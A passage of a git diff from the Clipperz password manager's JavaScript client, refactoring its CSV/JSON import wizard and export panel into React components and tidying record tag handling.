deferredResult.addMethod(this, function(labelIn) {label = labelIn});
deferredResult.addMethod(this, 'exportDirectLogins');
deferredResult.addCallback(function(directLoginsIn) { data['directLogins'] = directLoginsIn; });
deferredResult.addCallback(function() { return currentVersionObject.getKey(); }),
// deferredResult.addMethod(this,function(keyIn) { data['currentVersionKey'] = keyIn; });
deferredResult.addMethod(this, 'notes');
deferredResult.addMethod(this, function(notesIn) { data['notes'] = notesIn; });
// deferredResult.addMethod(this, function() { currentVersion['reference'] = this.currentVersionReference(); });
deferredResult.addCallback(function() { return currentVersionObject.exportFields(); }),
deferredResult.addCallback(function(fieldsIn) { currentVersion['fields'] = fieldsIn; });
deferredResult.addMethod(this, function() {
return {
'label': label,
'data': data,
'currentVersion': currentVersion
};
});
deferredResult.callback();
return deferredResult;
},
//=========================================================================
__syntaxFix__: "syntax fix"
});
@ -1203,20 +1247,33 @@ Clipperz.PM.DataModel.Record.regExpForSearch = function (aSearch) {
return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i');
};
Clipperz.PM.DataModel.Record.tagRegExp = function () {
return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
};
Clipperz.PM.DataModel.Record.trimSpacesRegExp = function () {
return new RegExp('^\\s+|\\s+$', 'g');
};
Clipperz.PM.DataModel.Record.filterOutTags = function (aValue) {
Clipperz.PM.DataModel.Record.tagRegExp = new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
Clipperz.PM.DataModel.Record.trimSpacesRegExp = new RegExp('^\\s+|\\s+$', 'g');
Clipperz.PM.DataModel.Record.extractLabelFromFullLabel = function (aValue) {
var value;
value = aValue;
value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp(), '');
value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp(), '');
value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp, '');
value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp, '');
return value;
};
Clipperz.PM.DataModel.Record.extractTagsFromFullLabel = function (aLabel) {
var tagRegEx;
var result;
var match;
result = {};
tagRegEx = Clipperz.PM.DataModel.Record.tagRegExp;
match = tagRegEx.exec(aLabel);
while (match != null) {
result[match[1]] = true;
match = tagRegEx.exec(aLabel);
}
return result;
};

View File

@ -244,11 +244,7 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.User, Object, {
return deferredResult;
},
// TODO: test (taken straight from /beta)
'deleteAccount': function() {
console.log("deleting account from user");
var deferredResult;
deferredResult = new MochiKit.Async.Deferred("User.deleteAccount", {trace: true});
@ -257,15 +253,9 @@ console.log("deleting account from user");
deferredResult.callback();
return deferredResult;
},
// TODO: check (I have half of an idea what i'm doing)
'resetAllLocalData': function() {
console.log("resetting all local data...");
var deferredResult;
deferredResult = new MochiKit.Async.Deferred("User.resetAllLocalData", {trace: true});

View File

@ -0,0 +1,110 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
"use strict";
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass = React.createClass({
propTypes: {
// featureSet: React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired,
// 'level': React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired
},
/*
jsonExport: function () {
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'json');
},
htmlExport: function () {
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'html');
},
*/
isFeatureEnabled: function (aValue) {
return (this.props['features'].indexOf(aValue) > -1);
},
handleDownloadOfflineCopyLink: function (anEvent) {
if (this.isFeatureEnabled('OFFLINE_COPY')) {
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadOfflineCopy');
}
},
handleExportLink: function () {
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadExport');
},
//=========================================================================
render: function () {
return React.DOM.div({className:'extraFeature devicePIN'}, [
React.DOM.h1({}, "Export"),
React.DOM.div({'className': 'content'}, [
React.DOM.ul({}, [
React.DOM.li({}, [
React.DOM.h3({}, "Offline copy"),
React.DOM.div({'className':'description'}, [
React.DOM.p({}, "Download a read-only portable version of Clipperz. Very convenient when no Internet connection is available."),
React.DOM.p({}, "An offline copy is just a single HTML file that contains both the whole Clipperz web application and your encrypted data."),
React.DOM.p({}, "It is as secure as the hosted Clipperz service since they both share the same code and security architecture.")
]),
React.DOM.a({'className':'button', 'onClick':this.handleDownloadOfflineCopyLink}, "download offline copy")
]),
React.DOM.li({}, [
React.DOM.h3({}, "HTML + JSON"),
React.DOM.div({'className':'description'}, [
React.DOM.p({}, "Download a printer-friendly HTML file that lists the content of all your cards."),
React.DOM.p({}, "This same file also contains all your data in JSON format."),
React.DOM.p({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file.")
]),
React.DOM.a({'className':'button', 'onClick':this.handleExportLink}, "download HTML+JSON")
]),
/*
React.DOM.li({}, [
React.DOM.h3({}, "Printing"),
React.DOM.div({'className':'description'}, [
React.DOM.p({}, "Click on the button below to open a new window displaying all your cards in a printable format."),
React.DOM.p({}, "If you are going to print for backup purposes, please consider the safer option provided by the “offline copy”.")
]),
React.DOM.a({'className':'button', 'onClick':this.htmlExport}, "HTML")
]),
React.DOM.li({}, [
React.DOM.h3({}, "Exporting to JSON"),
React.DOM.div({'className':'description'}, [
React.DOM.p({}, "JSON enables a “lossless” export of your cards. All the information will be preserved, including direct login configurations."),
React.DOM.p({}, "This custom format its quite convenient if you need to move some of all of your cards to a different Clipperz account. Or if you want to restore a card that has been accidentally deleted."),
React.DOM.p({}, "Click on the button below to start the export process.")
]),
React.DOM.a({'className':'button', 'onClick':this.jsonExport}, "JSON"),
])
*/
])
])
]);
},
//=========================================================================
});
Clipperz.PM.UI.Components.ExtraFeatures.DataExport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass);

View File

@ -0,0 +1,172 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
"use strict";
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
var _steps = ['Input', 'CsvColumns', 'CsvLabels', 'CsvTitles', 'CsvNotes', 'CsvHidden', 'Preview'];
var _stepNames = ['Input', 'Columns', 'Labels', 'Titles', 'Notes','Hidden','Preview'];
Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({
_steps: _steps,
_stepNames: _stepNames,
_relevantSteps: {
'csv': _steps,
'json': [_steps[0], _steps[6]]
},
getInitialState: function() {
return {
'currentStep': this._steps[0],
'importContext': new Clipperz.PM.UI.ImportContext(),
'nextStepCallback': null,
'error': null
};
},
//=========================================================================
getStepIndex: function(aStep) {
return this._steps.indexOf(aStep);
},
getStepAfter: function() {
return this._steps[this.getStepIndex(this.state.currentStep) + 1];
},
getStepBefore: function() {
return this._steps[this.getStepIndex(this.state.currentStep) - 1];
},
isStepRelevant: function(aStep, aFormat) {
if (!aFormat) {
return true
} else {
return (this._relevantSteps[aFormat].indexOf(aStep) >= 0);
}
},
//--------------------------------------------------------------------------
goToStep: function(aStep) {
this.setState({
'currentStep': aStep,
'nextStepCallback': null,
'error': null
});
},
handleNextStepOnClick: function() {
if (this.state.nextStepCallback) {
var newImportContext = this.state.nextStepCallback();
if (newImportContext) {
MochiKit.Base.update(this.state.importContext, newImportContext);
if (this.state.currentStep == 'Input' && this.state.importContext.format == 'json') {
this.goToStep('Preview');
} else if (this.state.currentStep == 'Preview') {
this.state.importContext.resetContext();
this.goToStep('Input');
} else {
this.goToStep(this.getStepAfter());
}
} else {
if (this.state.currentStep == "Input") {
this.setState({'error': "unrecognized input format."});
} else {
this.setState({'error': "unknown error."});
}
}
}
},
handleBackOnClick: function() {
if (this.state.importContext.format == 'json' && this.state.currentStep == 'Preview') {
delete this.state.importContext.format;
this.goToStep('Input');
} else if (this.state.currentStep != this._steps[0]) {
this.goToStep(this.getStepBefore());
}
},
setNextStepCallback: function(aFunction) {
this.setState({'nextStepCallback': aFunction});
},
getStepNavbarClass: function(aStep) {
var result;
if (aStep == this.state.currentStep) {
result = 'active';
} else if (this.state.importContext.format == 'json' && (aStep>=1&&aStep<=5) ) {
result = 'disabled';
} else {
result = 'inactive';
}
return result;
},
//=========================================================================
render: function () {
return React.DOM.div({className:'extraFeature dataImport'}, [
React.DOM.h1({}, "Import"),
React.DOM.div({'className': 'content'}, [
React.DOM.ul({'className': 'stepNavbar'},
MochiKit.Base.map(MochiKit.Base.bind(function(aStep){
var className;
if (this.isStepRelevant(aStep,this.state.importContext.format)) {
className = (aStep == this.state.currentStep) ? 'active' : 'inactive';
} else {
className = 'disabled';
}
return React.DOM.li({
'className': className
}, this._stepNames[this.getStepIndex(aStep)]);
}, this),this._steps)
),
new Clipperz.PM.UI.Components.ExtraFeatures.DataImport[this.state.currentStep]({
'importContext': this.state.importContext,
'setNextStepCallback': this.setNextStepCallback,
}),
React.DOM.a({
'className': 'button'+((this.state.currentStep == this._steps[0]) ? ' disabled' : ''),
'onClick': this.handleBackOnClick,
}, "Back"),
React.DOM.a({
'className': 'button'+((! this.state.nextStepCallback) ? ' disabled' : ''),
'onClick': this.handleNextStepOnClick,
}, "Next"),
(this.state.error) ? React.DOM.p({'className': 'error'}, "Error: " + this.state.error) : null
])
]);
},
//=========================================================================
});
Clipperz.PM.UI.Components.ExtraFeatures.DataImport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass);

View File

@ -26,26 +26,44 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.createClass({
toggleColumn: function(columnN) {
var newState;
getInitialState: function() {
return {
'selectedColumns': this.props.importContext.selectedColumns
};
},
newState = {'importData': this.props.importState.importData};
newState.importData.selectedColumns[columnN] = ! newState.importData.selectedColumns[columnN];
componentDidMount() {
this.props.setNextStepCallback(this.handleNextStep);
},
//-------------------------------------------------------------------------
handleNextStep: function() {
return this.state;
},
//=========================================================================
toggleColumn: function(columnN) {
var newSelectedColumns;
newSelectedColumns = this.state.selectedColumns;
newSelectedColumns[columnN] = ! newSelectedColumns[columnN];
this.props.setImportStateCallback(newState);
this.setState({'selectedColumns': newSelectedColumns});
},
render: function() {
//console.log(this.props.importContext);
var columnSelectors;
var rowCount;
var i;
columnSelectors = [];
for (i=0; i<this.props.importState.importData.nColumns; i++) {
columnSelectors.push( React.DOM.td({'key': 'csv-colsel-'+i}, React.DOM.input({
for (i=0; i<this.props.importContext.nColumns; i++) {
columnSelectors.push( React.DOM.td({'key': 'csv-colsel-' + i}, React.DOM.input({
'type': 'checkbox',
'checked': this.props.importState.importData.selectedColumns[i],
'checked': this.state.selectedColumns[i],
'onChange': MochiKit.Base.partial(this.toggleColumn,i)
}) ) );
}
@ -53,16 +71,8 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.creat
rowCount = 0;
return React.DOM.div({},[
React.DOM.h2({},"Columns"),
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
'format': 'csv',
'stepId': 'csv-columns',
'prevStep': 'input',
'nextStep': 'csv-labels',
'goToStepCallback': this.props.goToStepCallback,
}),
React.DOM.p({}, "Select the columns you want to import."),
React.DOM.table({'style': {'background': 'white'}},[
React.DOM.table({'className': 'csvTable'},[
React.DOM.thead({}, React.DOM.tr({'className': 'columnSelectors', 'key': 'csv-colsel'}, columnSelectors)),
React.DOM.tbody({},
MochiKit.Base.map(function(row){
@ -70,13 +80,13 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.creat
var result
cellCount = 0;
result = React.DOM.tr({'key': 'csv-row-'+(rowCount++)}, MochiKit.Base.map(function(cell) {
return React.DOM.td({'key': 'csv-cell-'+rowCount+'-'+(cellCount++)},cell);
result = React.DOM.tr({'key': 'csv-row-' + (rowCount++)}, MochiKit.Base.map(function(cell) {
return React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount++)},cell);
}, row));
rowCount++;
return result;
}, this.props.importState.importData.parsedCSV)
}, this.props.importContext.parsedCsv)
),
])
]);

View File

@ -25,53 +25,118 @@ refer to http://www.clipperz.com.
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvHiddenClass = React.createClass({
checkedCallback: function(columnN) {
return this.props.importState.importData.hiddenColumns[columnN];
getInitialState: function() {
return {
'hiddenColumns': this.props.importContext.hiddenColumns
};
},
componentDidMount() {
this.props.setNextStepCallback(this.handleNextStep);
},
//-------------------------------------------------------------------------
handleNextStep: function() {
//var importData = this.props.importState.importData;
//var json = this.props.csvToJsonCallback();
//this.props.setImportStateCallback({
// 'importData': importData,
// 'jsonToImport': json,
// 'recordsToImport': MochiKit.Base.map(function(r){return r._importId},json),
// 'currentStep': 'preview',
// 'previousStep': 'csv-hidden'
//})
MochiKit.Base.update(this.props.importContext, this.state);
return true;
},
//=========================================================================
onChangeCallback: function(columnN) {
var newState = {'importData': this.props.importState.importData};
var newHiddenColumns = this.state.hiddenColumns;
newState.importData.hiddenColumns[columnN] = ! newState.importData.hiddenColumns[columnN];
newHiddenColumns[columnN] = ! newHiddenColumns[columnN];
this.setState(newState);
},
disabledCallback: function(columnN) {
return (columnN == this.props.importState.importData.titlesColumn || columnN == this.props.importState.importData.notesColumn)
this.setState({'hiddenColumns': newHiddenColumns});
},
render: function() {
var importData = this.props.importState.importData;
var cellCount, rowCount;
var importContext = this.props.importContext;
cellCount = 0;
rowCount = 0;
return React.DOM.div({},[
React.DOM.h2({},"Hidden"),
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
'format': 'csv',
'stepId': 'csv-hidden'
}),
React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, 'csv-notes') }, "Back"),
React.DOM.span({}, " - "),
React.DOM.button({'onClick': MochiKit.Base.bind(function() {
var importData = this.props.importState.importData;
var json = this.props.csvToJsonCallback();
this.props.setImportStateCallback({
'importData': importData,
'jsonToImport': json,
'recordsToImport': MochiKit.Base.map(function(r){return r._importId},json),
'currentStep': 'preview',
'previousStep': 'csv-hidden'
});
}, this) }, "Preview"),
React.DOM.p({}, "Select the fields that should be hidden. (passwords, PINs, ...)"),
React.DOM.table({'style': {'background': 'white'}},[
React.DOM.table({'className': 'csvTable'},[
React.DOM.thead({},
this.props.csvRenderTheadInputCallback('hidden', 'checkbox', this.checkedCallback, this.onChangeCallback, this.disabledCallback, true)
React.DOM.tr({},
MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
var result;
var thId = 'csv-notes-header-' + cellCount;
var inputId = 'csv-notes-input-' + cellCount;
if (! importContext.selectedColumns[cellCount]) {
result = null;
} else {
result = React.DOM.th({'key': thId}, [
React.DOM.label({'htmlFor': inputId}, importContext.getCsvLabels()[cellCount]),
React.DOM.input({
'type': 'checkbox',
'id': inputId,
'key': inputId,
'ref': inputId,
'checked': this.state.hiddenColumns[cellCount],
'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount),
'disabled': (cellCount == importContext.titlesColumn || cellCount == importContext.notesColumn)
})
]);
}
cellCount++;
return result;
}, this), importContext.parsedCsv[0])
)
),
React.DOM.tbody({},
this.props.csvRenderTbodyCallback()
MochiKit.Base.map(MochiKit.Base.bind(function(row){
var result;
cellCount = 0;
if (rowCount == 0 && importContext.firstRowAsLabels) {
result = null;
} else {
result = React.DOM.tr({'key': 'csv-row-' + (rowCount)}, MochiKit.Base.map( function(cell) {
var result;
if (importContext.selectedColumns[cellCount]) {
result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
} else{
result = null;
}
cellCount++;
return result;
}, row));
}
rowCount++;
return result;
},this), importContext.parsedCsv)
)
])

View File

@ -26,84 +26,153 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvLabelsClass = React.createClass({
toggleFirstRow: function() {
var newState;
var cellCount;
getInitialState: function() {
return {
'firstRowAsLabels': this.props.importContext.firstRowAsLabels,
'columnLabels': this.props.importContext.columnLabels,
'columnLabelsFirstrow': this.props.importContext.columnLabelsFirstrow
};
},
componentDidMount() {
this.props.setNextStepCallback((this.isNextDisabled()) ? null : this.handleNextStep);
},
//-------------------------------------------------------------------------
newState = {'importData': this.props.importState.importData};
newState.importData.firstRowAsLabels = ! newState.importData.firstRowAsLabels;
cellCount = 0;
MochiKit.Base.map(function(cell){
newState.importData.columnLabelsFirstrow[cellCount++] = cell;
}, this.props.importState.importData.parsedCSV[0]);
this.props.setImportStateCallback(newState);
handleNextStep: function() {
return this.state;
},
updateNextStatus: function() {
this.props.setNextStepCallback((! this.isNextDisabled()) ? this.handleNextStep : null);
},
isNextDisabled: function() {
var result;
var importData = this.props.importState.importData;
var columnLabels = (importData.firstRowAsLabels) ? importData.columnLabelsFirstrow : importData.columnLabels;
var importContext = this.props.importContext;
var columnLabels = this.getLabels();
result = false;
for (i in columnLabels) {
result = result || (columnLabels[i] == '');
result = result || ((columnLabels[i] == '')&&(importContext.selectedColumns[i]));
}
return result;
},
valueCallback: function(columnN) {
var columnLabels = this.props.csvGetColumnLabelsCallback();
return columnLabels[columnN];
//=========================================================================
getLabels: function() {
return (this.state.firstRowAsLabels) ? this.state.columnLabelsFirstrow : this.state.columnLabels;
},
toggleFirstRow: function() {
var newState;
var cellCount;
newState = this.state;
newState.firstRowAsLabels = ! newState.firstRowAsLabels;
cellCount = 0;
MochiKit.Base.map(function(cell){
newState.columnLabelsFirstrow[cellCount++] = cell;
}, this.props.importContext.parsedCsv[0]);
this.updateNextStatus();
this.setState(newState);
},
onChangeCallback: function(columnN) {
var newState;
newState = {'importData': this.props.importState.importData};
if (this.props.importState.importData.firstRowAsLabels) {
newState.importData.columnLabelsFirstrow[columnN] = this.refs['csv-labels-input-'+columnN].getDOMNode().value;
newState = this.state;
if (newState.firstRowAsLabels) {
newState.columnLabelsFirstrow[columnN] = this.refs['csv-labels-input-' + columnN].getDOMNode().value;
} else {
newState.importData.columnLabels[columnN] = this.refs['csv-labels-input-'+columnN].getDOMNode().value;
newState.columnLabels[columnN] = this.refs['csv-labels-input-' + columnN].getDOMNode().value;
}
this.props.setImportStateCallback(newState);
this.updateNextStatus();
this.setState(newState);
},
render: function() {
//console.log("labels-render",this.props.importContext);
//return React.DOM.p({}, "labels")
var rowCount, cellCount;
var importContext = this.props.importContext;
var columnLabels = this.getLabels();
var importData = this.props.importState.importData;
rowCount = 0;
cellCount = 0;
return React.DOM.div({},[
React.DOM.h2({},"Labels"),
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
'format': 'csv',
'stepId': 'csv-labels',
'prevStep': 'csv-columns',
'nextStep': 'csv-titles',
'goToStepCallback': this.props.goToStepCallback,
'nextDisabled': this.isNextDisabled()
}),
React.DOM.p({}, "Set a label for each field in your data. If the first row of the CSV file contains field labels, tick off the checkbox below."),
React.DOM.input({
'id': 'csv-labels-firstrow',
'type': 'checkbox',
'checked': this.props.importState.importData.firstRowAsLabels,
'checked': this.state.firstRowAsLabels,
'onChange': this.toggleFirstRow
}),
React.DOM.label({'htmlFor':'csv-labels-firstrow'}, "Use the first row as labels"),
React.DOM.table({'style': {'background': 'white'}},[
React.DOM.table({'className': 'csvTable'},[
React.DOM.thead({},
this.props.csvRenderTheadInputCallback('labels', 'text', this.valueCallback, this.onChangeCallback, null, false)
React.DOM.tr({},
MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
var result;
if (! importContext.selectedColumns[cellCount]) {
result = null;
} else {
result = React.DOM.th({'key': 'csv-labels-header-' + cellCount}, [
React.DOM.input({
'type': 'text',
'id': 'csv-labels-input-' + cellCount,
'key': 'csv-labels-input-' + cellCount,
'ref': 'csv-labels-input-' + cellCount,
'value': columnLabels[cellCount],
'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount)
})
]);
}
cellCount++;
return result;
}, this), this.props.importContext.parsedCsv[0])
)
),
React.DOM.tbody({},
this.props.csvRenderTbodyCallback()
MochiKit.Base.map(MochiKit.Base.bind(function(row){
var result;
cellCount = 0;
if (rowCount == 0 && this.state.firstRowAsLabels) {
result = null;
} else {
result = React.DOM.tr({'key': 'csv-row-' + (rowCount)}, MochiKit.Base.map( function(cell) {
var result;
if (importContext.selectedColumns[cellCount]) {
result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
} else{
result = null;
}
cellCount++;
return result;
}, row));
}
rowCount++;
return result;
},this), importContext.parsedCsv)
)
])

View File

@ -26,50 +26,109 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvNotesClass = React.createClass({
checkedCallback: function(columnN) {
return columnN == this.props.importState.importData.notesColumn;
getInitialState: function() {
return {
'notesColumn': this.props.importContext.notesColumn
};
},
componentDidMount() {
this.props.setNextStepCallback(this.handleNextStep);
},
//-------------------------------------------------------------------------
handleNextStep: function() {
return this.state;
},
//=========================================================================
onChangeCallback: function(columnN) {
var newState = {'importData': this.props.importState.importData};
newState.importData.notesColumn = columnN;
this.setState(newState);
},
disabledCallback: function(columnN) {
return columnN == this.props.importState.importData.titlesColumn;
this.setState({'notesColumn': columnN});
},
render: function() {
var cellCount, rowCount;
var importContext = this.props.importContext;
cellCount = 0;
rowCount = 0;
return React.DOM.div({},[
React.DOM.h2({},"Notes"),
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
'format': 'csv',
'stepId': 'csv-notes',
'prevStep': 'csv-titles',
'nextStep': 'csv-hidden',
'goToStepCallback': this.props.goToStepCallback
}),
React.DOM.p({}, "Select the column that represents a \"notes\" field. (optional)"),
React.DOM.input({
'id': 'csv-notes-nonotes',
'type': 'radio',
'checked': ! this.props.importState.importData.notesColumn,
'checked': ! this.state.notesColumn,
'onChange': MochiKit.Base.partial(this.onChangeCallback, null)
}),
React.DOM.label({'htmlFor': 'csv-notes-nonotes'}, "\"notes\" field not present"),
React.DOM.table({'style': {'background': 'white'}},[
React.DOM.table({'className': 'csvTable'},[
React.DOM.thead({},
this.props.csvRenderTheadInputCallback('notes', 'radio', this.checkedCallback, this.onChangeCallback, this.disabledCallback, true)
React.DOM.tr({},
MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
var result;
var thId = 'csv-notes-header-' + cellCount;
var inputId = 'csv-notes-input-' + cellCount;
if (! importContext.selectedColumns[cellCount]) {
result = null;
} else {
result = React.DOM.th({'key': thId}, [
React.DOM.label({'htmlFor': inputId}, importContext.getCsvLabels()[cellCount]),
React.DOM.input({
'type': 'radio',
'id': inputId,
'key': inputId,
'ref': inputId,
'checked': cellCount == this.state.notesColumn,
'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount),
'disabled': cellCount == importContext.titlesColumn
})
]);
}
cellCount++;
return result;
}, this), importContext.parsedCsv[0])
)
),
React.DOM.tbody({},
this.props.csvRenderTbodyCallback()
MochiKit.Base.map(MochiKit.Base.bind(function(row){
var result;
cellCount = 0;
if (rowCount == 0 && importContext.firstRowAsLabels) {
result = null;
} else {
result = React.DOM.tr({'key': 'csv-row-' + (rowCount)}, MochiKit.Base.map( function(cell) {
var result;
if (importContext.selectedColumns[cellCount]) {
result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
} else{
result = null;
}
cellCount++;
return result;
}, row));
}
rowCount++;
return result;
},this), importContext.parsedCsv)
)
])
]);
}

View File

@ -26,45 +26,115 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvTitlesClass = React.createClass({
checkedCallback: function(columnN) {
return columnN == this.props.importState.importData.titlesColumn;
getInitialState: function() {
return {
'titlesColumn': this.props.importContext.titlesColumn,
'notesColumn': this.props.importContext.notesColumn
};
},
onChangeCallback: function(columnN) {
var newState = {'importData': this.props.importState.importData};
componentDidMount() {
this.props.setNextStepCallback((this.isNextDisabled()) ? null : this.handleNextStep);
},
if (this.props.importState.importData.notesColumn == columnN) {
newState.importData.notesColumn = null;
//-------------------------------------------------------------------------
handleNextStep: function() {
return this.state;
},
updateNextStatus: function() {
this.props.setNextStepCallback((! this.isNextDisabled()) ? this.handleNextStep : null);
},
isNextDisabled: function() {
return (this.state.titlesColumn != 0 && ! this.state.titlesColumn );
},
//=========================================================================
onChangeCallback: function(columnN) {
var newState = this.state;
if (newState.notesColumn == columnN) {
newState.notesColumn = null;
}
newState.importData.titlesColumn = columnN;
newState.titlesColumn = columnN;
this.props.setImportStateCallback(newState);
this.updateNextStatus();
this.setState(newState);
},
render: function() {
var rowCount, cellCount;
var importData = this.props.importState.importData;
var importContext = this.props.importContext;
var columnLabels = importContext.getCsvLabels();
rowCount = 0;
cellCount = 0;
return React.DOM.div({},[
React.DOM.h2({},"Titles"),
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
'format': 'csv',
'stepId': 'csv-titles',
'prevStep': 'csv-labels',
'nextStep': 'csv-notes',
'goToStepCallback': this.props.goToStepCallback,
'nextDisabled': (importData.titlesColumn != 0 && ! importData.titlesColumn )
}),
React.DOM.p({}, "Select the column that contains titles of the cards you are importing. (mandatory)"),
React.DOM.table({'style': {'background': 'white'}},[
React.DOM.table({'className': 'csvTable'},[
React.DOM.thead({},
this.props.csvRenderTheadInputCallback('titles', 'radio', this.checkedCallback, this.onChangeCallback, null, true)
React.DOM.tr({},
MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
var result;
var thId = 'csv-titles-header-' + cellCount;
var inputId = 'csv-titles-input-' + cellCount;
if (! importContext.selectedColumns[cellCount]) {
result = null;
} else {
result = React.DOM.th({'key': thId}, [
React.DOM.label({'htmlFor': inputId}, columnLabels[cellCount]),
React.DOM.input({
'type': 'radio',
'id': inputId,
'key': inputId,
'ref': inputId,
'checked': cellCount == this.state.titlesColumn,
'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount)
})
]);
}
cellCount++;
return result;
}, this), this.props.importContext.parsedCsv[0])
)
),
React.DOM.tbody({},
this.props.csvRenderTbodyCallback()
MochiKit.Base.map(MochiKit.Base.bind(function(row){
var result;
cellCount = 0;
if (rowCount == 0 && importContext.firstRowAsLabels) {
result = null;
} else {
result = React.DOM.tr({'key': 'csv-row-'+(rowCount)}, MochiKit.Base.map( function(cell) {
var result;
if (importContext.selectedColumns[cellCount]) {
result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
} else{
result = null;
}
cellCount++;
return result;
}, row));
}
rowCount++;
return result;
},this), importContext.parsedCsv)
)
])

View File

@ -25,6 +25,129 @@ refer to http://www.clipperz.com.
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClass({
getInitialState: function() {
return {
'inputString': (this.props.importContext.inputString) ? this.props.importContext.inputString : null,
'format': (this.props.importContext.format) ? this.props.importContext.format : null,
//'parsedInput': (this.props.importContext.parsedInput) ? this.props.importContext.parsedInput : null,
};
},
componentDidMount: function() {
this.updateNextStatus(this.state.inputString);
},
//-------------------------------------------------------------------------
handleNextStep: function() {
var result;
var jsonData;
var parsedInput;
var inputString = this.refs['input-textarea'].getDOMNode().value.trim();
result = {'inputString': inputString};
parsedInput = this.parseJson(inputString);
if (parsedInput) {
MochiKit.Base.update(result,this.props.importContext.getInitialJsonContext(parsedInput));
} else {
parsedInput = this.parseCsv(inputString);
if (parsedInput) {
MochiKit.Base.update(result, this.props.importContext.getInitialCsvContext(parsedInput));
} else {
result = false;
}
}
return result;
},
updateNextStatus: function(newInputString) {
this.props.setNextStepCallback((newInputString) ? this.handleNextStep : null);
},
//=========================================================================
extractJsonFromClipperzExport: function(someHtml) {
var textarea;
var regexMatch;
var result;
var re = new RegExp('.*<textarea>(.*)<\/textarea>.*','g');
if (re.test(someHtml)) {
textarea = this.refs['input-textarea'].getDOMNode();
textarea.innerHTML = someHtml.replace(re, '$1');
result = textarea.innerHTML;
} else {
result = false;
}
return result;
},
addImportIds: function (someJson) {
var count;
for (count=0; count < someJson.length; count++) {
someJson[count]['_importId'] = count;
}
},
parseJson: function(aJsonString) {
var result;
var jsonData;
try {
